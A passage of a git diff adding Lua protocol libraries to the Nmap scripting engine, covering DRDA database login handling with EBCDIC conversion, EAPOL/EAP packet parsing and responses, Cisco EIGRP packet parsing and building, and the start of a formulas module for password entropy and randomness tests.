+ if ( string.unpack(">I2", param:getData()) ~= SecMec.USER_PASSWORD ) then
+ stdnse.debug1("drda.Helper.login: ERROR: Securite Mechanism not supported")
+ return false, "ERROR: Security mechanism not supported"
+ end
+
+ status, packet = self.comm:exchDRDAPacket( DRDAPacket:new( { drda_secchk, drda_accrdb } ) )
+ if( not(status) ) then return false, "ERROR: Login failed" end
+
+ --
+ -- At this point we have a few differences in behaviour
+ -- * DB2 has told us earlier if the DB does not exist
+ -- * Apache Derby will do so here, regardless of the login was
+ -- successful or not
+ -- * Informix will tell us that the DB does not exist IF the
+ -- login was successful
+ --
+ -- Therefore the order of these checks are important!!
+ if ( packet:getDRDAByCodePoint( CodePoint.ACCRDBRM ) ) then
+ return true
+ -- Apache Derby responds differently with usernames containing spaces
+ elseif ( packet:getDRDAByCodePoint( CodePoint.RDBATHRM ) ) then
+ return false, "ERROR: Login failed"
+ -- Informix responds with a SECCHKRM DDM response
+ elseif ( packet:getDRDAByCodePoint( CodePoint.SECCHKRM ) ) then
+ drda = packet:getDRDAByCodePoint( CodePoint.SECCHKRM )
+ param= drda:getParameter( CodePoint.SECCHKCD )
+ if ( param and param:getData() == "\0" ) then
+ return true
+ end
+ elseif ( packet:getDRDAByCodePoint( CodePoint.RDBNFNRM ) or
+ packet:getDRDAByCodePoint( CodePoint.RDBAFLRM ) ) then
+ return false, "ERROR: Database not found"
+ end
+ return false, "ERROR: Login failed"
+ end,
+
+}
+
+-- The communication class
+Comm = {
+
+ new = function(self, host, port)
+ local o = {
+ host = host,
+ port = port,
+ socket = nmap.new_socket()
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ recvDRDA = function( self )
+ local drda_tbl = {}
+
+ repeat
+ local drda = DRDA:new()
+ local status, err = drda:receive( self.socket )
+ if ( not(status) ) then
+ return false, err
+ end
+ table.insert(drda_tbl, drda)
+ until ( not(drda.DDM:isChained()) )
+ return true, drda_tbl
+ end,
+
+ --- Sends a packet to the server and receives the response
+ --
+ -- @param DRDAPacket
+ -- @return status true on success, false on failure
+ -- @return packet an instance of DRDAPacket
+ exchDRDAPacket = function( self, packet )
+ local drda, err
+ local status, err = self.socket:send( tostring(packet) )
+
+ if ( not(status) ) then
+ stdnse.debug1("drda.Helper.login: ERROR: DB2Socket error: %s", err )
+ return false, ("ERROR: DB2Socket error: %s"):format( err )
+ end
+
+ status, drda = self:recvDRDA()
+ if( not(status) ) then
+ stdnse.debug1("drda.Helper.login: ERROR: DB2Socket error: %s", drda )
+ return false, ("ERROR: DB2Socket error: %s"):format( drda )
+ end
+ return true, DRDAPacket:new( drda )
+ end
+
+}
+
+-- EBCDIC/ASCII Conversion tables
+a2e_hex = "00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F\z
+405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F\z
+7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D\z
+79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107\z
+202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1\z
+4142434445464748495152535455565758596263646566676869707172737475\z
+767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7\z
+B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF"
+
+e2a_hex = "000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F\z
+80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A\z
+20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E\z
+2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22\z
+C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0\z
+D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7\z
+7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3\z
+5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF"
+
+-- Creates the lookup tables needed for conversion
+a2e_tbl = stdnse.fromhex(a2e_hex)
+e2a_tbl = stdnse.fromhex(e2a_hex)
+
+-- Handle EBCDIC/ASCII conversion
+StringUtil =
+{
+ --- Converts an ASCII string to EBCDIC
+ --
+ -- @param ascii string containing the ASCII value
+ -- @return string containing the EBCDIC value
+ toEBCDIC = function( ascii )
+ return string.gsub(ascii, ".", function(a)
+ local val = a:byte() + 1
+ return a2e_tbl:sub(val, val)
+ end)
+ end,
+
+ --- Converts an EBCDIC string to ASCII
+ --
+ -- @param ebcdic string containing EBCDIC value
+ -- @return string containing ASCII value
+ toASCII = function( ebcdic )
+ return string.gsub(ebcdic, ".", function(e)
+ local val = e:byte() + 1
+ return e2a_tbl:sub(val, val)
+ end)
+ end,
+
+ --- Pads a string with a character
+ --
+ -- @param str string to pad
+ -- @param chr char to pad with
+ -- @param len the total length of the finished string
+ -- @return str string containing the padded string
+ padWithChar = function( str, chr, len )
+ return str .. string.rep(chr, len - #str)
+ end,
+}
+
+return _ENV;
diff --git a/nselib/eap.lua b/nselib/eap.lua
new file mode 100644
index 0000000..ff3a4e2
--- /dev/null
+++ b/nselib/eap.lua
@@ -0,0 +1,291 @@
+---
+-- EAP (Extensible Authentication Protocol) library supporting a
+-- limited subset of features.
+--
+-- The library was designed and tested against hostapd v0.6.10
+-- The EAP protocol names are the ones specified in:
+-- http://www.iana.org/assignments/eap-numbers/eap-numbers.xml
+--
+-- Scripts can use the library to start an eap session and then to
+-- send identity and nak responses to identity and authentication
+-- requests made by AP authenticators to analyze their behaviour.
+--
+-- The following sample code illustrates how to respond to an identity
+-- request:
+--
+-- <code>
+-- pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
+-- ...
+-- local _, _, l2_data, l3_data, _ = pcap:pcap_receive()
+-- local packet = eap.parse(l2_data .. l3_data3)
+-- if packet then
+-- if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
+-- eap.send_identity_response(iface, packet.eap.id, "anonymous")
+-- end
+-- end
+-- </code>
+--
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @author Riccardo Cecolin <n@rikiji.de>
+--
+
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+_ENV = stdnse.module("eap", stdnse.seeall)
+
+-- Created 02/23/2012 - v0.1
+
+local ETHER_BROADCAST = "01:80:c2:00:00:03"
+local ETHER_TYPE_EAPOL_N = 0x888E
+local ETHER_TYPE_EAPOL = string.pack(">I2",ETHER_TYPE_EAPOL_N)
+local ETHER_HEADER_SIZE = 14
+local EAPOL_HEADER_SIZE = 4
+local EAP_HEADER_SIZE = 5
+
+eapol_t = {
+ PACKET = 0,
+ START = 1,
+ LOGOFF = 2,
+ KEY = 3,
+ ASF = 4,
+}
+
+eapol_str = {
+ [0] = "EAP Packet",
+ [1] = "EAPOL Start",
+ [2] = "EAPOL Logoff",
+ [3] = "EAPOL Key",
+ [4] = "EAPOL Encapsulated ASF Alert",
+}
+
+code_t = {
+ REQUEST = 1,
+ RESPONSE = 2,
+ SUCCESS = 3,
+ FAILURE = 4,
+ INITIATE = 5,
+ FINISH = 6,
+}
+
+code_str = {
+ [1] = "Request",
+ [2] = "Response",
+ [3] = "Success",
+ [4] = "Failure",
+ [5] = "Initiate",
+ [6] = "Finish",
+}
+
+eap_t = {
+ IDENTITY = 1,
+ NAK = 3,
+ MD5 = 4,
+ TLS = 13,
+ TTLS = 21,
+ PEAP = 25,
+ MSCHAP = 29,
+}
+
+eap_str = {
+ [0] = "Reserved",
+ [1] = "Identity",
+ [2] = "Notification",
+ [3] = "Legacy Nak",
+ [4] = "MD5-Challenge",
+ [5] = "One-Time Password (OTP)",
+ [6] = "Generic Token Card (GTC)",
+ [7] = "Allocated",
+ [8] = "Allocated",
+ [9] = "RSA Public Key Authentication",
+ [10] = "DSS Unilateral",
+ [11] = "KEA",
+ [12] = "KEA-VALIDATE",
+ [13] = "EAP-TLS",
+ [14] = "Defender Token (AXENT)",
+ [15] = "RSA Security SecurID EAP",
+ [16] = "Arcot Systems EAP",
+ [17] = "EAP-Cisco Wireless",
+ [18] = "GSM Subscriber Identity Modules (EAP-SIM)",
+ [19] = "SRP-SHA1",
+ [20] = "Unassigned",
+ [21] = "EAP-TTLS",
+ [22] = "Remote Access Service",
+ [23] = "EAP-AKA Authentication",
+ [24] = "EAP-3Com Wireless",
+ [25] = "PEAP",
+ [26] = "MS-EAP-Authentication",
+ [27] = "Mutual Authentication w/Key Exchange (MAKE)",
+ [28] = "CRYPTOCard",
+ [29] = "EAP-MSCHAP-V2",
+ [30] = "DynamID",
+ [31] = "Rob EAP",
+ [32] = "Protected One-Time Password",
+ [33] = "MS-Authentication-TLV",
+ [34] = "SentriNET",
+ [35] = "EAP-Actiontec Wireless",
+ [36] = "Cogent Systems Biometrics Authentication EAP",
+ [37] = "AirFortress EAP",
+ [38] = "EAP-HTTP Digest",
+ [39] = "SecureSuite EAP",
+ [40] = "DeviceConnect EAP",
+ [41] = "EAP-SPEKE",
+ [42] = "EAP-MOBAC",
+ [43] = "EAP-FAST",
+ [44] = "ZoneLabs EAP (ZLXEAP)",
+ [45] = "EAP-Link",
+ [46] = "EAP-PAX",
+ [47] = "EAP-PSK",
+ [48] = "EAP-SAKE",
+ [49] = "EAP-IKEv2",
+ [50] = "EAP-AKA'",
+ [51] = "EAP-GPSK",
+ [52] = "EAP-pwd",
+ [53] = "EAP-EKE Version 1",
+ [54] = "EAP Method Type for PT-EAP",
+ [55] = "TEAP",
+ -- 56-253 Unassigned
+ [254] = "Reserved for the Expanded Type",
+ [255] = "Experimental",
+}
+
+local make_eapol = function (arg)
+ if not arg.src then return nil end
+ if not arg.type then arg.type = eapol_t.PACKET end
+ if not arg.version then arg.version = 1 end
+ if not arg.payload then arg.payload = "" end
+
+ local p = packet.Frame:new()
+ p.mac_src = arg.src
+ p.mac_dst = packet.mactobin(ETHER_BROADCAST)
+ p.ether_type = ETHER_TYPE_EAPOL
+
+ p.buf = string.pack(">BBs2", arg.version, arg.type, arg.payload)
+ p:build_ether_frame()
+ return p.frame_buf
+end
+
+local make_eap = function (arg)
+
+ if not arg.header then return nil end
+ if not arg.code then arg.code = code_t.REQUEST end
+ if not arg.id then arg.id = math.random(0,255) end
+ if not arg.type then arg.type = eap_t.IDENTITY end
+ if not arg.payload then arg.payload = "" end
+
+ local bin_payload = arg.payload
+ arg.header.payload = string.pack(">BBI2B", arg.code, arg.id, #bin_payload + EAP_HEADER_SIZE, arg.type) .. bin_payload
+
+ local v = make_eapol(arg.header)
+ stdnse.debug2("make eapol %s", arg.header.src)
+
+ return v
+end
+
+parse = function (packet)
+ local tb = {}
+
+ stdnse.debug2("packet size: 0x%x", #packet )
+
+ -- parsing ethernet header
+ tb.mac_src, tb.mac_dst, tb.ether_type = string.unpack(">c6c6I2", packet)
+ tb.mac_src_str = stdnse.tohex(tb.mac_src)
+ tb.mac_dst_str = stdnse.tohex(tb.mac_dst)
+
+ -- parsing eapol header
+ tb.version, tb.type, tb.length = string.unpack(">BBI2", packet, ETHER_HEADER_SIZE + 1)
+
+ stdnse.debug1("mac_src: %s, mac_dest: %s, ether_type: 0x%X",
+ tb.mac_src_str, tb.mac_dst_str, tb.ether_type)
+
+ if tb.ether_type ~= ETHER_TYPE_EAPOL_N then return nil, "not an eapol packet" end
+
+ stdnse.debug2("version: %X, type: %s, length: 0x%X",
+ tb.version, eapol_str[tb.type] or "unknown",
+ tb.length)
+
+ tb.eap = {}
+
+ if tb.length > 0 then
+ -- parsing body
+
+ tb.eap.code, tb.eap.id, tb.eap.length, tb.eap.type = string.unpack(">BBI2B", packet,
+ ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + 1)
+ stdnse.debug2("code: %s, id: 0x%X, length: 0x%X, type: %s",
+ code_str[tb.eap.code] or "unknown",
+ tb.eap.id, tb.eap.length, eap_str[tb.eap.type] or "unknown" )
+ if tb.length ~= tb.eap.length then
+ stdnse.debug1("WARNING length mismatch: 0x%X and 0x%X", tb.length, tb.eap.length )
+ end
+ end
+
+ tb.eap.body = {}
+
+ -- parsing payload
+ if tb.length > 5 and tb.eap.type == eap_t.IDENTITY then
+ tb.eap.body.identity = string.unpack("z", packet,
+ ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + EAP_HEADER_SIZE + 1)
+ stdnse.debug1("identity: %s", tb.eap.body.identity )
+ end
+
+ if tb.length > 5 and tb.eap.type == eap_t.MD5 then
+ tb.eap.body.challenge = string.unpack("s1", packet, ETHER_HEADER_SIZE + EAPOL_HEADER_SIZE + EAP_HEADER_SIZE + 1)
+ end
+
+ return tb
+end
+
+send_identity_response = function (iface, id, identity)
+
+ if not iface then
+ stdnse.debug1("no interface given")
+ return
+ end
+
+ local dnet = nmap.new_dnet()
+ local tb = {src = iface.mac, type = eapol_t.PACKET}
+ local response = make_eap{header = tb, code = code_t.RESPONSE, type = eap_t.IDENTITY, id = id, payload = identity}
+
+ dnet:ethernet_open(iface.device)
+ dnet:ethernet_send(response)
+ dnet:ethernet_close()
+end
+
+send_nak_response = function (iface, id, auth)
+
+ if not iface then
+ stdnse.debug1("no interface given")
+ return
+ end
+
+ local dnet = nmap.new_dnet()
+ local tb = {src = iface.mac, type = eapol_t.PACKET}
+ local response = make_eap{header = tb, code = code_t.RESPONSE, type = eap_t.NAK, id = id, payload = string.pack("B",auth)}
+
+ dnet:ethernet_open(iface.device)
+ dnet:ethernet_send(response)
+ dnet:ethernet_close()
+end
+
+
+send_start = function (iface)
+
+ if not iface then
+ stdnse.debug1("no interface given")
+ return
+ end
+
+ local dnet = nmap.new_dnet()
+ local start = make_eapol{type = eapol_t.START, src = iface.mac}
+
+ dnet:ethernet_open(iface.device)
+ dnet:ethernet_send(start)
+ dnet:ethernet_close()
+
+end
+
+return _ENV;
diff --git a/nselib/eigrp.lua b/nselib/eigrp.lua
new file mode 100644
index 0000000..a4d6b9d
--- /dev/null
+++ b/nselib/eigrp.lua
@@ -0,0 +1,382 @@
+--- A library supporting parsing and generating a limited subset of the Cisco' EIGRP packets.
+--
+-- @author Hani Benhabiles
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- Version 0.1
+-- 19/07/2012 - First version.
+
+local table = require "table"
+local stdnse = require "stdnse"
+local strbuf = require "strbuf"
+local string = require "string"
+local ipOps = require "ipOps"
+local packet = require "packet"
+_ENV = stdnse.module("eigrp", stdnse.seeall)
+
+
+-- TLV Type constants
+TLV = {
+ PARAM = 0x0001,
+ AUTH = 0x0002,
+ SEQ = 0x0003,
+ SWVER = 0x0004,
+ MSEQ = 0x0005,
+ STUB = 0x0006,
+ TERM = 0x0007,
+ TIDLIST = 0x0008,
+ REQ = 0x0101,
+ INT = 0x0102,
+ EXT = 0x0103,
+ COM = 0x0104,
+ INT6 = 0x0402,
+ EXT6 = 0x0403,
+ COM6 = 0x0404,
+}
+
+-- External protocols constants
+EXT_PROTO = {
+ NULL = 0x00,
+ IGRP = 0x01,
+ EIGRP = 0x02,
+ Static = 0x03,
+ RIP = 0x04,
+ HELLO = 0x05,
+ OSPF = 0x06,
+ ISIS = 0x07,
+ EGP = 0x08,
+ BGP = 0x09,
+ IDRP = 0x10,
+ Connected = 0x11,
+}
+
+-- Packets opcode constants
+OPCODE = {
+ UPDATE = 0x01,
+ RESERVED = 0x02,
+ QUERY = 0x03,
+ REPLY = 0x04,
+ HELLO = 0x05,
+}
+
+-- The EIGRP Class
+EIGRP = {
+
+ --- Creates a new instance of EIGRP class.
+ -- @param opcode integer Opcode. Defaults to 5 (Hello)
+ -- @param as integer Autonomous System. Defaults to 0.
+ -- @param routerid integer virtual router ID. defaults to 0.
+ -- @param flags integer flags field value. Defaults to 0.
+ -- @param seq integer sequence value. Defaults to 0.
+ -- @param ack integer acknowledge value. Defaults to 0.
+ -- @param Checksum integer EIGRP packet checksum. Calculated automatically
+ -- if not manually set.
+ -- @param Table TLVs table.
+ -- @return o Instance of EIGRP
+ new = function(self, opcode, as, routerid, flags, seq, ack, checksum, tlvs)
+ local o = {
+ ver = 2,
+ opcode = opcode or TLV.HELLO,
+ as = as or 0,
+ routerid = routerid or 0,
+ flags = flags or 0,
+ seq = seq or 0x00,
+ ack = ack or 0x00,
+ checksum = checksum,
+ tlvs = tlvs or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Parses a raw eigrp packet and returns a structured response.
+ -- @param eigrp_raw string EIGRP Raw packet.
+ -- @return response table Structured eigrp packet.
+ parse = function(eigrp_raw)
+ if type(eigrp_raw) ~= 'string' then
+ stdnse.debug1("eigrp.lua: parse input should be string.")
+ return
+ end
+ if #eigrp_raw < 20 then
+ stdnse.debug1("eigrp.lua: raw packet size lower then 20.")
+ return
+ end
+ local tlv
+ local eigrp_packet = {}
+ local index = 1
+ eigrp_packet.ver,
+ eigrp_packet.opcode,
+ eigrp_packet.checksum,
+ eigrp_packet.flags,
+ eigrp_packet.seq,
+ eigrp_packet.ack,
+ eigrp_packet.routerid,
+ eigrp_packet.as, index = string.unpack(">BBI2I4I4I4I2I2", eigrp_raw, index)
+ eigrp_packet.tlvs = {}
+ while index < #eigrp_raw do
+ tlv = {}
+ tlv.type, tlv.length, index = string.unpack(">I2I2", eigrp_raw, index)
+ if tlv.length == 0x00 then
+ -- In case someone wants to DoS us :)
+ stdnse.debug1("eigrp.lua: stopped parsing due to null TLV length.")
+ break
+ end
+ -- TODO: These padding calculations seem suspect, especially the ones
+ -- that assume a static length for a variable-length field like TLV.SEQ
+ if tlv.type == TLV.PARAM then
+ -- Parameters
+ local k = {}
+ k[1], k[2], k[3], k[4], k[5], k[6], tlv.htime, index = string.unpack(">BBBBBBI2", eigrp_raw, index)
+ tlv.k = k
+ index = index + tlv.length - 12
+ elseif tlv.type == TLV.AUTH then
+ tlv.authtype,
+ tlv.authlen,
+ tlv.keyid,
+ tlv.keyseq, index = string.unpack(">I2I2I4I4", eigrp_raw, index)
+ -- Null pad == tlv.length - What was already parsed - authlen
+ tlv.digest, index = string.unpack(">I2", eigrp_raw, index + (tlv.length - tlv.authlen - index + 1))
+ elseif tlv.type == TLV.SEQ then
+ -- Sequence
+ tlv.address, index = string.unpack(">s2", eigrp_raw, index)
+ tlv.address = ipOps.str_to_ip(tlv.address)
+ index = index + tlv.length - 7
+ elseif tlv.type == TLV.SWVER then
+ -- Software version
+ tlv.majv,
+ tlv.minv,
+ tlv.majtlv,
+ tlv.mintlv, index = string.unpack(">BBBB", eigrp_raw, index)
+ index = index + tlv.length - 8
+ elseif tlv.type == TLV.MSEQ then
+ -- Next Multicast Sequence
+ tlv.mseq, index = string.unpack(">I4", eigrp_raw, index)
+ index = index + tlv.length - 8
+ elseif tlv.type == TLV.STUB then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.TERM then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.TIDLIST then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.REQ then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.INT then
+ -- Internal Route
+ tlv.nexth, index = string.unpack(">I4", eigrp_raw, index)
+ tlv.nexth = ipOps.fromdword(tlv.nexth)
+ tlv.mask, index = string.unpack(">I2", eigrp_raw, index + 15)
+ -- Destination varies in length
+ -- e.g trailing 0's are omitted
+ -- if length = 29 => destination is 4 bytes
+ -- if length = 28 => destination is 3 bytes
+ -- if length = 27 => destination is 2 bytes
+ -- if length = 26 => destination is 1 byte
+ local dst = {0,0,0,0}
+ for i = 1, (4 + tlv.length - 29) do
+ dst[i], index = string.unpack("B", eigrp_raw, index)
+ end
+ tlv.dst = table.concat(dst, '.')
+ elseif tlv.type == TLV.EXT then
+ -- External Route
+ tlv.nexth,
+ tlv.orouterid,
+ tlv.oas,
+ tlv.tag,
+ tlv.emetric,
+ -- Skip 2 reserved bytes
+ tlv.eproto,
+ tlv.eflags,
+ tlv.lmetrics,
+ tlv.mask, index = string.unpack(">I4I4I4I4I4xxBBc16B", eigrp_raw, index)
+ tlv.nexth = ipOps.fromdword(tlv.nexth)
+ tlv.orouterid = ipOps.fromdword(tlv.orouterid)
+ -- Destination varies in length
+ -- if length = 49 => destination is 4 bytes
+ -- if length = 48 => destination is 3 bytes
+ -- if length = 47 => destination is 2 bytes
+ -- if length = 46 => destination is 1 byte
+ local dst = {0,0,0,0}
+ for i = 1, (4 + tlv.length - 49) do
+ dst[i], index = string.unpack("B", eigrp_raw, index)
+ end
+ tlv.dst = table.concat(dst, '.')
+ elseif tlv.type == TLV.COM then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.INT6 then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.EXT6 then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ elseif tlv.type == TLV.COM6 then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ index = index + tlv.length - 4
+ else
+ stdnse.debug1("eigrp.lua: eigrp.lua: TLV type %d unknown.", tlv.type)
+ index = index + tlv.length - 4
+ end
+ table.insert(eigrp_packet.tlvs, tlv)
+ end
+ return eigrp_packet
+ end,
+
+ --- Adds a TLV table to the table of TLVs.
+ -- @param tlv TLV table.
+ addTLV = function(self, tlv)
+ if type(tlv) == 'table' then
+ table.insert(self.tlvs, tlv)
+ else
+ stdnse.debug1("eigrp.lua: TLV should be a table, not %s", type(tlv))
+ end
+ end,
+
+ --- Checks if TLV type is one that should contain routing information.
+ -- @param tlvtype integer TLV type integer to check.
+ -- @return status true if tlvtype is a routing information tlv.
+ isRoutingTLV = function(tlvtype)
+ if tlvtype == 0x101 or tlvtype == 0x102
+ or tlvtype == 0x103 or tlvtype == 0x104
+ or tlvtype == 0x402 or tlvtype == 0x403
+ or tlvtype == 0x404 then
+ return true
+ end
+ end,
+
+ --- Sets the EIGRP version.
+ -- @param ver integer version to set.
+ setVersion = function(self, ver)
+ self.ver = ver
+ end,
+ --- Sets the EIGRP Packet opcode
+ -- @param opcode integer EIGRP opcode.
+ setOpcode = function(self, opcode)
+ self.opcode = opcode
+ end,
+ --- Sets the EIGRP packet checksum
+ -- @param integer checksum Checksum to set.
+ setChecksum = function(self, checksum)
+ self.checksum = checksum
+ end,
+ --- Sets the EIGRP packet flags field.
+ -- @param flags Flags integer value.
+ setFlags = function(self, flags)
+ self.flags = flags
+ end,
+ --- Sets the EIGRP packet sequence field.
+ -- @param seq EIGRP sequence.
+ setSequence = function(self, seq)
+ self.seq = seq
+ end,
+ --- Sets the EIGRP Packet acknowledge field.
+ -- @param ack EIGRP acknowledge.
+ setAcknowledge = function(self, ack)
+ self.ack = ack
+ end,
+ --- Sets the EIGRP Packet Virtual Router ID.
+ -- @param routerid EIGRP Virtual Router ID.
+ setRouterID = function(self, routerid)
+ self.routerid = routerid
+ end,
+ --- Sets the EIGRP Packet Autonomous System.
+ -- @param as EIGRP A.S.
+ setAS = function(self, as)
+ self.as = as
+ end,
+ --- Sets the EIGRP Packet tlvs
+ -- @param tlvs table of EIGRP tlvs.
+ setTlvs = function(self, tlvs)
+ self.tlvs = tlvs
+ end,
+ --- Converts the request to a string suitable to be sent over a socket.
+ -- @return data string containing the complete request to send over the socket
+ __tostring = function(self)
+ local data = strbuf.new()
+ data = data .. string.pack(">BBI2I4I4I4I2I2",
+ self.ver, -- Version 2
+ self.opcode, -- Opcode: Hello
+ self.checksum or 0, -- Calculated later.
+ self.flags, -- Flags
+ self.seq, -- Sequence 0
+ self.ack, -- Acknowledge 0
+ self.routerid, -- Virtual Router ID 0
+ self.as) -- Autonomous system
+
+ for _, tlv in pairs(self.tlvs) do
+ if tlv.type == TLV.PARAM then
+ data = data .. string.pack(">I2I2 BBBBBB I2",
+ TLV.PARAM,
+ 12, -- Length
+ tlv.k[1], tlv.k[2], tlv.k[3], tlv.k[4], tlv.k[5], tlv.k[6],
+ tlv.htime)
+ elseif tlv.type == TLV.AUTH then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.SEQ then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.SWVER then
+ data = data .. string.pack(">I2I2 BB BB",
+ TLV.SWVER,
+ 0x0008,
+ tonumber(tlv.majv), tonumber(tlv.minv),
+ tonumber(tlv.majtlv), tonumber(tlv.mintlv))
+ elseif tlv.type == TLV.MSEQ then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.STUB then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.TERM then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.TIDLIST then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.REQ then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.INT then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.EXT then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.COM then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.INT6 then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.EXT6 then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ elseif tlv.type == TLV.COM6 then
+ -- TODO
+ stdnse.debug1("eigrp.lua: TLV type %d skipped due to no parser.", tlv.type)
+ else
+ stdnse.debug1("eigrp.lua: TLV type %d unknown.", tlv.type)
+ end
+ end
+ data = strbuf.dump(data)
+ -- In the end, correct the checksum if not manually set
+ if not self.checksum then
+ data = data:sub(1,2) .. string.pack(">I2", packet.in_cksum(data)) .. data:sub(5)
+ end
+ return data
+ end,
+ }
+
+ return _ENV;
diff --git a/nselib/formulas.lua b/nselib/formulas.lua
new file mode 100644
index 0000000..6f19000
--- /dev/null
+++ b/nselib/formulas.lua
@@ -0,0 +1,220 @@
+---
+-- Formula functions for various calculations.
+--
+-- The library lets scripts to use common mathematical functions to compute percentages,
+-- averages, entropy, randomness and other calculations. Scripts that generate statistics
+-- and metrics can also make use of this library.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+---
+
+local math = require "math"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unittest = require "unittest"
+
+_ENV = stdnse.module("formulas", stdnse.seeall)
+
+--- Calculate the entropy of a password.
+--
+-- A random password's information entropy, H, is given by the formula: H = L *
+-- (logN) / (log2), where N is the number of possible symbols and L is the
+-- number of symbols in the password. Based on
+-- https://en.wikipedia.org/wiki/Password_strength
+-- @param value The password to check
+-- @return The entropy in bits
+calcPwdEntropy = function(value)
+
+ local total, hasdigit, haslower, hasupper, hasspaces = 0, 0, 0, 0, false
+
+ if string.find(value, "%d") then
+ hasdigit = 1
+ end
+ if string.find(value, "%l") then
+ haslower = 1
+ end
+ if string.find(value, "%u") then
+ hasupper = 1
+ end
+ if string.find(value, ' ') then
+ hasspaces = true
+ end
+
+ -- The values 10, 26, 26 have been taken from Wikipedia's entropy table.
+ local total = hasdigit * 10 + hasupper * 26 + haslower * 26
+ local entropy = math.floor(math.log(total) * #value / math.log(2))
+
+ return entropy
+end
+
+-- A chi-square test for the null hypothesis that the members of data are drawn
+-- from a uniform distribution over num_cats categories.
+local function chi2(data, num_cats)
+ local bins = {}
+ local x2, delta, expected
+
+ for _, x in ipairs(data) do
+ bins[x] = bins[x] or 0
+ bins[x] = bins[x] + 1
+ end
+
+ expected = #data / num_cats
+ x2 = 0.0
+ for _, n in pairs(bins) do
+ delta = n - expected
+ x2 = x2 + delta * delta
+ end
+ x2 = x2 / expected
+
+ return x2
+end
+
+local function c_to_bin (c)
+ local n = stdnse.tobinary(c:byte())
+ return ("0"):rep(8-#n)..n
+end
+
+-- Split a string into a sequence of bit strings of the given length.
+-- splitbits("abc", 5) --> {"01100", "00101", "10001", "00110"}
+-- Any short final group is omitted.
+local function splitbits(s, n)
+ local bits = s:gsub(".", c_to_bin)
+
